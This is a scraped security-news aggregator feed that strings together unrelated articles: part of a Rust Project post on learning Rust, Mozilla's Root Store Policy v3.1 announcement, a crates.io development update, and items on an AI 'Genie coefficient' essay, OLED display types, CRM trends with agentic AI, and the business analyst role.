What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs

Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate

"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners

We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in." -- Principal Firmware Engineer (mobile robotics)

"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider

"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company

Silent attrition

We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider

Feedback on near-bounces from survey

We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.

One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.

Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion

The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions

Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.

That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying

Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.

Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.

Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.

Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.

How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.

Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know

The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.

We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.

The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.

]]> <![CDATA[Mozilla Security Blog: Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1]]> https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/ https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/ Sat, 25 Jul 2026 08:37:23 +0200 💾 Tools tsecurity.de Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026.

While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable.

Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems.

Improving CP/CPS Documentation

Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements.

Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices.

The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficiently detailed to describe the CA operator’s certificate issuance and management activities, while also establishing requirements for version control, accessibility, and ongoing maintenance. The objective is to ensure that a technically competent reviewer will be better-able to determine what commitments the CA has made, how those commitments are implemented, and whether the documented practices support technical, operational, and performance oversight.

Mozilla believes that these new CP/CPS requirements will improve transparency, reduce misunderstandings, support more effective audits, and help reduce the risk of certificate misissuance by ensuring that operational practices are documented accurately, consistently, and in sufficient detail to permit meaningful review.

Introducing Detailed Controls Reports

A second major enhancement in MRSP v3.1 is the introduction of Detailed Controls Reports (DCRs). Traditional WebTrust and ETSI audit reports provide valuable independent assurance regarding compliance with established criteria. However, they generally provide only limited visibility into the specific controls, testing procedures, and operational environments that support those conclusions.

Beginning with audit periods starting on or after July 1, 2027, CA operators with root certificates enabled for TLS website authentication will be required to obtain a DCR. The purpose of the DCR is to provide CA management, auditors, and Mozilla with greater visibility into the controls, testing, and operating effectiveness of CA systems that support compliance with the CA/Browser Forum’s TLS Baseline Requirements and Network and Certificate System Security Requirements. Mozilla generally expects to review DCRs only on an as-needed basis, such as during compliance reviews, incident investigations, root inclusion evaluations, or other oversight activities.

A DCR must include:

  • The scope and boundaries of the audited CA systems;
  • Applicable audit criteria;
  • Controls implemented by the CA;
  • The auditor’s testing procedures;
  • Results of control testing; and
  • Information regarding control exceptions or deficiencies.

Mozilla expects that DCRs will complement existing audit reports and strengthen transparency and assurance by providing additional detail regarding system boundaries, control implementation, testing procedures, and control effectiveness that is not typically available in traditional audit reports. Effective compliance requires more than documented policies and successful audits; it also requires management understanding, oversight, and engagement. By providing greater visibility into CA systems, controls, testing activities, and operational risks, DCRs can help reinforce a strong tone at the top regarding compliance expectations, support informed decision-making and resource allocation, enable earlier identification of weaknesses, and promote a culture of continuous improvement. The intent is not to replace existing audit reports, but to provide additional information that supports effective governance, oversight, and informed trust decisions.

Additional Clarifications and Improvements

MRSP v3.1 also includes several targeted clarifications and refinements:

  • aligns Mozilla’s mass revocation planning requirements with the corresponding CA/Browser Forum Baseline Requirements, helping ensure consistency across compliance frameworks;
  • clarifies audit expectations for root inclusion requests, including requirements relating to audit continuity and root key generation ceremonies;
  • requires root CA key pairs submitted for inclusion to have been generated within the previous five years, helping ensure that newly included roots are based on contemporary cryptographic practices and controls; and
  • clarifies expectations when ownership or operational control of a CA changes, helping ensure that Mozilla receives timely notice and can evaluate the impact of acquisitions or organizational changes on continued compliance.

Looking Forward

Mozilla recognizes that these changes will require preparation by CA operators, auditors, and other ecosystem participants. To support implementation, Mozilla is publishing accompanying wiki guidance regarding both CP/CPS Documentation and Detailed Controls Reports.

As with previous policy updates, these changes were informed by discussions with CA operators, auditors, and members of the Web PKI community. We appreciate the feedback received during the review process and look forward to continued collaboration as the ecosystem evolves.

Mozilla has a longstanding focus on building confidence in the Web PKI through transparency, accountability, and continuous improvement. By requiring higher-quality CP/CPS documentation and strengthening independent assurance, MRSP v3.1 advances Mozilla’s commitment to protecting its users and maintaining their trust in the systems that help secure the web.

The post Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1 appeared first on Mozilla Security Blog.

]]> <![CDATA[The Rust Programming Language Blog: crates.io: development update]]> https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/ Sat, 25 Jul 2026 08:37:18 +0200 💾 Tools tsecurity.de Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

Source code viewer showing the "Code" tab of the serde crate

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Unmaintained warning banner on the ansi_term crate page

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

"You might not need this dependency" banner on the lazy_static crate page

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Ferris' eyes following the mouse cursor on the error page

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

  • Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.

  • Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.

  • New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.

  • Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!

  • CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.

  • Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.

  • Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.

  • Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

]]> <![CDATA[Why AI Needs a “Genie Coefficient”]]> https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/ https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/ Sat, 25 Jul 2026 08:36:58 +0200 🕵️ Reverse Engineering tsecurity.de This essay was written with Barath Raghavan, and originally appeared in IEEE Spectrum.

Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.

There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...

]]> <![CDATA[Understanding different types of OLED TVs and displays]]> https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/ https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/ Sat, 25 Jul 2026 08:36:42 +0200 🎥 Videos tsecurity.de Author: Techquickie - Bewertung: 5027x - Views:93409

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Remember when OLED was simple? You paid a premium, you got perfect blacks, and you called it a day. Fast forward to 2026, and we’re drowning in an alphabet soup of WOLED, QD-OLED, and "Penta-Tandem" stacks. Today we’re breaking it all down and we’ve got the answers.
Special thanks to Ron Mertens, CEO of Metalgrass and founder of OLED-info, for joining us and sharing over 20 years of expertise in the display industry.

Leave a reply with your requests for future episodes.

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]]> <![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]> https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/ https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/ Sat, 25 Jul 2026 06:53:15 +0200 📰 IT Nachrichten tsecurity.de

Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.

“Last year, everybody was dipping their toes into the water,” says Keith Kirkpatrick, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”

Harry Datwani, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”

“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.

“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst Kate Leggett, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.

Here are the hot AI-driven trends in CRM this year.

CRM becomes an action hero

CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.

“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst Neil Ward-Dutton. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”

Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.

She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.

Agentic drives workforce changes

AI use in CRM systems is also impacting workforce strategies.

“We used to hire for deep expertise,” says Constellation Research analyst Liz Miller. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”

Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.

For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.

Terence Chesire, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”

“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.

Data layer takes center stage

AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.

“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”

The good news, says Datwani, is that AI agents themselves can help clean up and organize data. And vendors such as Snowflake and Databricks, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.

Forrester’s Leggett adds that CRM platforms are converging with customer data platforms (CDPs), real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.

Agentic ushers in pricing complexity

The shift from license- or subscription-based pricing to an outcome or consumption pricing model has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a new level of complexity when it comes to budgeting for CRM costs.

For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.

Meanwhile, Salesforce has rolled out pay-per-resolution pricing with its recently unveiled AI Help Agent and last month acquired usage-based billing specialist m3ter. Oracle is also piloting outcome-based AI pricing.

All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.

The rise of multi-agent orchestration

To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.

He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.

Kirkpatrick predicts that a new class of orchestration tools will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.

Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”

The interface becomes conversational

Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.

ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.

On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.

Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.

Agentic drives business process transformation

With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”

“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”

According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.

“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.

]]> <![CDATA[What is a business analyst? A key role for business-IT efficiency]]> https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ Sat, 25 Jul 2026 06:16:45 +0200 📰 IT Nachrichten tsecurity.de

What is a business analyst?

Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.

BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.

The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.

Impact of AI on business analyst role

As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.

AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.

Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.

Business analyst job description

BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.

According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.

Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  

